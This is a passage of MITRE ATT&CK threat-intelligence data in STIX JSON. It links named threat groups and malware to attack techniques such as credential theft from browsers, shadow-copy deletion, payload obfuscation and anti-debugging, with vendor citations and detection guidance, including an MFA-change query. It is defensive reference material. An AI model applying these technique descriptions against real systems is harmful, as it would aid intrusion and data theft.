2021."}],"modified":"2021-04-08T18:09:43.112Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used Unix shell scripts to execute commands in the victim environment.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--239a4ed5-afe6-4d1d-8dfe-ee4df7bc01ba","type":"relationship","created":"2019-05-28T18:49:59.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:53:46.623Z","description":"(Citation: Proofpoint TA505 Sep 2017)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--239cb026-369a-43f0-922c-cdc38d124430","type":"relationship","created":"2020-05-07T02:33:06.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.558Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has decoded malware components that are then dropped to the system.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--239d8c50-7378-4c8c-9091-9ed95fae3f3b","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor for newly executed processes that may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--239d98a7-f134-4270-8333-c2df2feaa9ca","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"District Court of NY APT10 Indictment December 2018","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.","url":"https://www.justice.gov/opa/page/file/1122671/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.608Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: FireEye APT10 Sept 2018)(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--239eb918-b9e0-499c-9934-96382fa782a0","type":"relationship","created":"2020-05-28T16:38:03.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2021-04-14T22:10:12.447Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can use Windows API functions such as WriteFile, CloseHandle, and GetCurrentHwProfile during its collection and file storage operations. [Ramsay](https://attack.mitre.org/software/S0458) can execute its embedded components via CreateProcessA and ShellExecute.(Citation: Eset Ramsay May 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23a1a83e-6b32-43df-9aa4-dad2bcb25e61","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for newly executed processes when removable media is mounted. ","source_ref":"x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f","target_ref":"attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23a7a9eb-b34a-4852-801a-ecab7702bbd8","created":"2024-02-14T21:27:32.891Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:27:32.891Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) checks the BeingDebugged flag in the PEB structure during execution to identify if the malware is being debugged.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--23a91a6b-41fa-4202-baaf-3b18128fc518","created":"2022-03-30T14:26:51.844Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed active directory objects, such as Windows EID 5137.","modified":"2022-04-28T14:56:06.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23abd4f4-fe56-481d-8353-2a62414647ea","created":"2024-03-04T21:05:55.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Okta Cross-Tenant Impersonation","description":"Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved March 4, 2024.","url":"https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T15:41:50.669Z","description":"Monitor for changes made to global multi-factor authentication settings in Identity-as-a-Service providers. For example, in Okta environments, the events `system.mfa.factor.activate` and `system.mfa.factor.deactivate` will trigger when an MFA factor is globally activated or deactivated. (Citation: Okta Cross-Tenant Impersonation) \n\nAnalytic 1 - Changes to MFA settings outside of normal maintenance windows.\n\n index=security sourcetype=\"audit\" OR sourcetype=\"azure:eventhub\" OR sourcetype=\"o365:management:activity\" OR sourcetype=\"gsuite:reports:admin\" \nEventCode IN (\"UserAddedToMFAExcludedGroup\", \"MFASettingsModified\", \"MFASettingsDisabled\", \"AddMFAOption\", \"RemoveMFAOption\", \"MFAEnforcementDisabled\")","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23b1bbb5-ab75-42f7-8bc9-d1c918f6817d","created":"2024-05-17T13:48:17.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"},{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T14:08:56.233Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) will check for the presence of several security products on victim machines and will avoid UAC bypass mechanisms if they are identified.(Citation: TrendMicro RaspberryRobin 2022) [Raspberry Robin](https://attack.mitre.org/software/S1130) can use specific cookie values in HTTP requests to command and control infrastructure to validate that requests for second stage payloads originate from the initial downloader script.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23b5fd51-bb47-4811-8a38-c768c8fa6b0e","type":"relationship","created":"2020-05-05T15:26:30.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T21:17:34.608Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has added four additional bytes of data upon launching, then saved the changed version as C:\\ProgramData\\Initech\\Initech.exe.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23b77b77-e100-4ac2-93b9-b900a04844cd","created":"2019-04-17T13:46:38.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:58:34.523Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) has used an XOR-based algorithm to encrypt payloads twice with different keys.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23b98d85-7ae7-4611-80a4-36441c2462e3","created":"2024-08-09T19:07:39.125Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T19:07:39.125Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can download additional files from C2.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23b9cf45-fbd6-49b9-892d-6f3b1de18f9f","created":"2024-02-22T22:40:11.136Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T22:40:11.136Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used BrowserGhost, a tool designed to obtain credentials from browsers, to retrieve information from password stores.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23bb2f7c-9f4e-4c11-b4e9-b41ba6e6f4c1","type":"relationship","created":"2020-03-28T00:59:59.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/","source_name":"DigiTrust NanoCore Jan 2017"},{"description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","source_name":"PaloAlto NanoCore Feb 2016"}],"modified":"2020-03-28T00:59:59.365Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) can modify the victim's firewall.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23bc50df-16da-4b2d-89b3-1a74c7602aa2","created":"2020-07-15T20:23:36.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.252Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has maintained persistence by placing itself inside the current user's startup folder.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23bd8751-1083-4c0b-8ec1-b5f637c5fbc7","type":"relationship","created":"2020-08-04T19:38:36.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"Talos Sodinokibi April 2019","url":"https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html","description":"Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Group IB Ransomware May 2020","url":"https://www.group-ib.com/whitepapers/ransomware-uncovered.html","description":"Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020."}],"modified":"2021-04-06T14:42:52.727Z","description":"[REvil](https://attack.mitre.org/software/S0496) has used PowerShell to delete volume shadow copies and download files.(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23bd8e78-b20d-41bd-acfb-5ed356b327b2","created":"2019-01-30T14:00:49.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PaloAlto DNS Requests May 2016","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T03:04:01.145Z","description":"[APT18](https://attack.mitre.org/groups/G0026) obfuscates strings in the payload.(Citation: PaloAlto DNS Requests May 2016)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23c028d1-6963-4033-b91f-5953413df43c","type":"relationship","created":"2020-11-17T19:31:01.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-17T19:31:01.506Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can identify the process that owns remote connections.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23c6c48b-f602-43f9-9c23-d4e46fba9194","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2020-03-17T00:51:35.118Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string “&&&”.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--23c72a20-1982-4207-9905-d3aa45f94c23","created":"2022-10-06T21:26:32.643Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:26:32.643Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net time` command as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23c89ec7-3407-4f6d-8b4b-0ab16fbf356c","type":"relationship","created":"2020-09-11T15:22:21.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:22:21.555Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can determine the hostname and linux version on a compromised host.(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23d16034-a2eb-40ef-857b-63708e63bf9a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2019-09-16T18:01:16.141Z","description":"[Orz](https://attack.mitre.org/software/S0229) can gather the victim OS version and whether it is 64 or 32 bit.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23d208f5-cadc-4f80-94c4-5644eaa8b7c7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"}],"modified":"2019-04-25T12:24:57.288Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for execution.(Citation: Proofpoint Leviathan Oct 